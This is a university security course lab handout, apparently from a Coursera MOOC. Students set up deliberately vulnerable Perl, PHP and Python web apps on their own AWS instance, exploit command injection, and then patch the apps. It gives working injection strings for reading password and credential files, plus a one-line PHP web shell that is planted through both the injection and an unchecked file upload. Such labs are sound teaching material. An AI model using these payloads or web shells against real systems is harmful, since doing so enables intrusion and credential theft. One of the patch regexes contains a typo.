Ct8ozzl TECfDs85f0xAjw Project3av3

Download as pdf or txt
Download as pdf or txt
You are on page 1of 16

Project 3a Hacking Web Apps with Command Injections and Patching them

In this project we learn


• how to set up a web site in your AWS instance with a few web apps providing services
such as uploading documents, submitting web exams, retrieving AWS keys) which
contain command injection vulnerabilities but only you can exploit,
• how to perform command injection attacks on web apps,
• how to search for valuable information on a victim once we can penetrate,
• how to deploy a Trojan.

The assignment will be graded by checking

1. Whether the learner learns how to set up web site and demonstrates command injection
on the web server of their instance.
2. Whether the learner finds the valuable information.
3. Whether the learner can patch the web app to remove the command injection
vulnerabilities.

Assignment Topic:

In this exercise, we will use the Linux instance you already set up for Projects 1 and 2 in the
MOOCs on “Design and Analyze Secure Networked Systems” and “Basic Cryptography and
Programming with Crypto API”. If you have not done so because you have taken this MOOC
separately or for other reasons, then please follow the instructions in
http://ciast.uccs.edu/coursera/pub/project1aV3.pdf to set up the Linux instance.

Preparation Step:

First since we are importing a web site with command injection vulnerability into your AWS
Linux Instance, make sure you set your security group by choosing “My IP” as the source so
that only your local machine can reach your instance, not any hacker out there!! I also enter my
workplace IP as source for the HTTP, HTTPS, and SSH ports. Do not proceed without the
firewall is set up properly. Your instance will become easy target once the vulnerable web site is
deployed!

Figure A. Setup Security Group to Allow You to Access.


We also take this chance to review how we verify the web site software is indeed signed by me,
and to make sure we are connected to a web server securely with properly signed web server
certificate.

cd to the directory with your private key to your AWS Linux instance
Login to instance with

ssh -i <your private key file to instance> ec2-user@<yourInstanceIPAddr>

Create a proj3_1 directory for this exercise with

mkdir proj3_1; cd proj3_1

Download csr591.tbz from http://ciast.uccs.edu/coursera/pub/csr591.tbz with

$ curl -O https://ciast.uccs.edu/coursera/pub/csr591.tbz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
curl: (60) Peer's Certificate issuer is not recognized.
More details here: https://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a "bundle"


of Certificate Authority (CA) public keys (CA certs). If the default
bundle file isn't adequate, you can specify an alternate file
using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
the bundle, the certificate verification probably failed due to a
problem with the certificate (it might be expired, or the name might
not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
the -k (or --insecure) option.

curl was not able to find the CA certificate that signs the ciast web server certificate.

By examining the ciast web server certificate on chrome browser, we find it is signed by

COMODO RSA Organization Validation Secure Server CA

The google search find the CA certificate at COMODO support web site
https://support.comodo.com/index.php?/Knowledgebase/Article/View/968/108/intermediate-ca-
2-comodo-rsa-organization-validation-secure-server-ca-sha-2
By saving the related CA certificate pem file, as comodo2_ca.pem, we were able to download
the document securely with curl --cacert comodo2_ca.pem
without any warning message.

$ curl --cacert comodo2_ca.pem -O https://ciast.uccs.edu/coursera/pub/csr591.tbz


% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 6103k 100 6103k 0 0 4646k 0 0:00:01 0:00:01 --:--:-- 4648k

We also download the gpg key of this csr591.tbz software and my public key which used to sign
this software package.

$ curl --cacert comodo2_ca.pem -O https://ciast.uccs.edu/coursera/pub/csr591.tbz.gpg


$ curl --cacert comodo2_ca.pem -O https://ciast.uccs.edu/coursera/pub/echowcPGPPubKey.txt

Now you can verify this software is indeed signed by me with following commands we learned
from project 1c.

$ gpg --import echowcPGPPubKey.txt


$ gpg --verify csr591.tbz.gpg csr591.tbz
gpg: Signature made Mon 11 Sep 2017 10:33:43 PM UTC using RSA key ID 2D36DC4B
gpg: Good signature from "C. Edward Chow (Test Account for Coursera CS5910)
<[email protected]>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 82E1 4367 3604 4481 5F95 BB68 131C 8979 2D36 DC4B

To clear away the warning, you can trust my public key by signing my public key using

$ gpg --edit-key [email protected]


gpg (GnuPG) 2.0.28; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

pub 4096R/2D36DC4B created: 2017-07-29 expires: never usage: SC


trust: unknown validity: full
sub 4096R/992CA93D created: 2017-07-29 expires: never usage: E
[ full ] (1). C. Edward Chow (Test Account for Coursera CS5910) <[email protected]>
gpg> trust
pub 4096R/2D36DC4B created: 2017-07-29 expires: never usage: SC
trust: unknown validity: full
sub 4096R/992CA93D created: 2017-07-29 expires: never usage: E
[ full ] (1). C. Edward Chow (Test Account for Coursera CS5910) <[email protected]>

Please decide how far you trust this user to correctly verify other users' keys
(by looking at passports, checking fingerprints from different sources, etc.)

1 = I don't know or won't say


2 = I do NOT trust
3 = I trust marginally
4 = I trust fully
5 = I trust ultimately
m = back to the main menu

Your decision? 4

pub 4096R/2D36DC4B created: 2017-07-29 expires: never usage: SC


trust: full validity: full
sub 4096R/992CA93D created: 2017-07-29 expires: never usage: E
[ full ] (1). C. Edward Chow (Test Account for Coursera CS5910) <[email protected]>
Please note that the shown key validity is not necessarily correct
unless you restart the program.

gpg> quit

$ gpg --verify csr591.tbz.gpg csr591.tbz


gpg: Signature made Mon 11 Sep 2017 10:33:43 PM UTC using RSA key ID 2D36DC4B
gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 valid: 1 signed: 1 trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: depth: 1 valid: 1 signed: 0 trust: 1-, 0q, 0n, 0m, 0f, 0u
gpg: Good signature from "C. Edward Chow (Test Account for Coursera CS5910)
<[email protected]>" [full]

Using tar command we recover the directory structure of the web site.

$tar jxf csr591.tbz

Copy the www directory to where the apache web server documents/cgi scripts reside

$ sudo cp –r www /var/

To allow the submission of midterm exam answers, the upload of semester project files, and the
phd/master reports, we change the ownership and access rights of three directories in
/var/www/html: midterm, gsc, and studentproj with the following commands

$ cd /var/www/html
$ sudo chown -R apache:apache midterm gsc studentproj
$ sudo chmod -R 755 midterm gsc studentproj
Now we can test the midterm submit web app.
Type http://<your instanceIPAddr>/CS526S2012midterm.php
into your browser.

Figure 1. Midterm Submission Web App.


You should see a midterm exam web page appear as above. Enter chow as login and #a88 as
password. Then hit enter key. You will get the following response web page. Login to your
instance to see if an answer file is created on
/var/www/html/midterm/CS526/CS526S2012midterm directory.
Figure 2. Midterm Submission Response Web Page.
the url of the response web page shows the web form input is processed by midterm.cgi, a perl
server side script in /var/www/cgi-bin directory.

To set up upload report web app and AWS key retrieve web app, let execute the following
command to allow the credential files to be read by apache.

$ sudo chmod 755 /var/www/data/*.txt


$ sudo chmod 755 /var/www/data/*.csv

Type http://<yourInstanceIPAddr>/upload.php into your browser.


Click choose to select a local image file (no space no special character in file name). Then hit
“Send File”. You will see your image file got uploaded to your web server.
Figure 3. Graduate Program Archive Web Site.
The url of the response web page shows the web form input is processed by upload.php script in
/var/www/html directory.

Now let us explore the web page that allows a project group to retrieve their AWS Access Key
and Secret key based on the login/password credential.
Type http://<yourInstanceIPAddr>/keyaccess.html You will see the follow web page. Hit
“retrieve keys” button.

Figure 4. AWS Key Retrieval Web App.

You will see the related keys are retrieved and display.
Note that the url of the response web page shows the web form is processed by vul.py a python
script in /var/www/cgi-bin directory.
Figure 5. Key Access Web App Response Web page.

Now that we have shown you three working web apps written in different programming
languages (perl, php, python). We will demonstrate they have the same command injection
vulnerabilities.
Command Injection Attacks:
Now you are ready for launching command injection attacks on your instance.

Enter the https://<yourInstanceIPAddr>/keyaccess.html into the url address box of your local
browser.
Enter &ls& right after the csnet in Login: text input box. Hit “retrieve keys”

Figure 6. Command Injection on key access web App

You should see a list of files displayed as shown below. If you examine the content of
/var/www/cgi-bin on your instance. You will find the same list. This is due to the fact that the
command was executed by vul.py python server side script on its directory.

Figure 7. Command Injection Results with &ls&

Capture browser image with the command injection results of &ls& on your instance as your
first project3a deliverable. Make sure to include the url with your instanceIPAddr in your image.
Treasure Hunt:
Now that we can listing files in a victim server. We can hunt for valuable information there.
By examining the files in the above listing. We find there is a passwd file. To view the content
of the passwd file, we can replace “&cat passwd&” with “&ls&”

Figure 8. Command Inject Results with &cat password&

Capture browser image with the command injection results of &cat password& on your instance
as your second project3a deliverable. Make sure to include the url with your instanceIPAddr in
your image.

/var/www/html/ is the apache web document root directory it hosts a lot of directories.
If we were to leave behind some trajon files, we need a directory where apache web server can
perform read and write. To list directory content with detail access rights. We use

&ls –al ../html&

the malicious string to show these files and their access rights.

Here is what was displayed. I highlight one of the directories, midterm, that Apache account
can write to it.
Figure 9. Reveal Apache Writable Directories for hosting Trojan.

Q1. What are the other two directories the apache account can write into them? Can you spot
them? Submit the answer as your 3rd deliverables of project3a.

Given that we know /var/www/html/midterm directory is writable with command injection and
the vul.py is executed in /var/www/cgi-bin/, we come up with the following malicious string.
The echo > command allow us to write a single line php script (trajon file) as a file call sh6.php
../html/midterm is a file system navigation maneuver from /var/www/cgi-bin to
/var/www/html/midterm.

Now enter the following malicious string to the login entry right after csnet

& echo '<?php passthru($_GET[cmd]); ?>' > ../html/midterm/sh6.php &

After this is done, verify sh6.php is in midterm directory with

https://<yourInstanceIPAddr>/midterm/
to see if sh6.php is there.

Try
https://<yourInstanceIPAddr>/midterm/sh6.php?cmd=ls
to see if it will display the content of midterm directory.
Try
https://<yourInstanceIPAddr>/midterm/sh6.php?cmd=cat ../php/reg.php

Q2. What is the most valuable info after your examine the source code of php/reg.php?
Submit the answer as your 4th deliverables of project3a.

Now that we have hacked the vul.py. Let us exploit midterm web app.

Hacking Midterm Web App.

sudo vi /var/www/html/hackv2.php

replace ‘<?php with ‘&lt?php in Line 68


The reason is want php interpreter to interpret it as code, just as content.
Also replace sh2b.php with sh6b.php in line 68

Type http://<yourInstanceIPAddr>/hackv2.php
Visit any text input, hit Enter. That’s it.
sudo ls /var/www/html/gsc
you should see sh6b.php there.
It is a trajon and you can launch any command with
http://<yourInstanceIPAddr>/gsc/sh6b.php?cmd=<any command you like to run there>

Capture the above sh6b.php execution result as image and submit it as your 5th deliverables of
project3a.

Hacking Upload Web App.


In your local machine, type “echo '<?php passthru($_GET[cmd]); ?>' > sh7.php” to create
sh7.php file. Note that use single quote characters to wrap the one line php file. Try to type it,
not copy and paste, because the word process may use different characters.

Enter http://<yourInstanceIPAddr/upload.php on your browser.


Choose sh7,php you just created. Then hit “Send File” button.
Note that the malicious file was accepted (surprise!) and saved in
http://ws2.myuccs.net/gsc/master/jgray/doc/sh7.php
In your case, ws2.myuccs.net will be replaced with yourInstanceIPAddr.
The vulnerability of upload.php is to allow a dangerous php file to be uploaded. It does not check
what file was submitted, at least it should check on the .php extension.

You can now use http://<yourInstanceIPAddr>/gsc/master/jgray/doc/sh7.php?cmd=ls


To enter any command to hijack the instance.

Capture the above sh7.php execution result as image and submit it as your 6th deliverables of
project3a.

Patching the Web Apps with Command Injection

1. First let us patch vul.py

Login to your instance using

ssh -i <your private key file to instance> ec2-user@<yourInstanceIPAddr>’


cd /var/www/cgi-bin

back up vul.py with

cp vul.py vul.py.bak
sudo vi vul.py
and then insert the following line to include regex library after line 5:

import re

Then after the line 30 which is “passwd=form['passwd'].value” insert the following five lines:

print htmlHead
m=re.match(r"^[a-zA-Z0-9]{4,8}$", login)
if m is None:
print '<h3>Detect ilegal input for login </h3>'+htmlTail
sys.exit()

Make sure you type tab in front the print and sys.exit() statement
Python is picky about how they identify the if branches.

Run run the exploit &ls& on the keyaccess.html again.

Capture the above keyaccess.html with &ls& execution result as image and submit it as your 7th
deliverables of project3a.

Note that we still need to fix the os.system(mailcmd);


For details on replacing it nicely with smtplib and mime email, please look at vulfix.py in the
same directory. You can run it with keyaccessFix.html

2. Let us patch midterm.cgi

The vulnerability of midterm.cgi is due to the exploit of hidden tag exam. To fix that, we input
validate $examine right after it reads in the hidden tag content.

Right after line 33 ($examine = $answers{'exam'};) Let add the following eight lines:

if ($login !~ /^[a-zA-Z0-9]{4,8}$/) {
print "login $login format not correct! Potential hacking activity.";
exit(1);
}
if ($examine !~ /^(CS\d{3}|CS\d{4|)([SMFW])(\d{4})(midterm|quiz1|quiz2|final)$/) {
print "examine id $examine not correct! Potential hacking activity.";
exit(1);
}

To complete fix this, we need to substitute system($command) at the end of the script with mail
command
First add sendmail library module right after the 2nd line.

use Mail::Sendmail;

Then replace system($command); with

%mail = ( To => "cchow\@uccs.edu",


Cc => "$email",
From => "webmaster\@viva.uccs.edu",
Subject => "confirm midterm submission",
Message => $buffer,
);
sendmail(%mail) or die $Mail::Sendmail::error;

3. Let us patch upload.php

One solution is to detect the file extension .php and not allow it.

At line 89, add the following line

if ($ext == "php") { print "file type php not allowed<br>"; exit(2);}

You may also want to filter special characters in filename.


Try to see if the malicious php files can be submitted any more.

Upload sh7.php again and capture browser displaying the response web page indicating “file
type php not allowed”. Submit the image as your 8th deliverables of project3a.

You might also like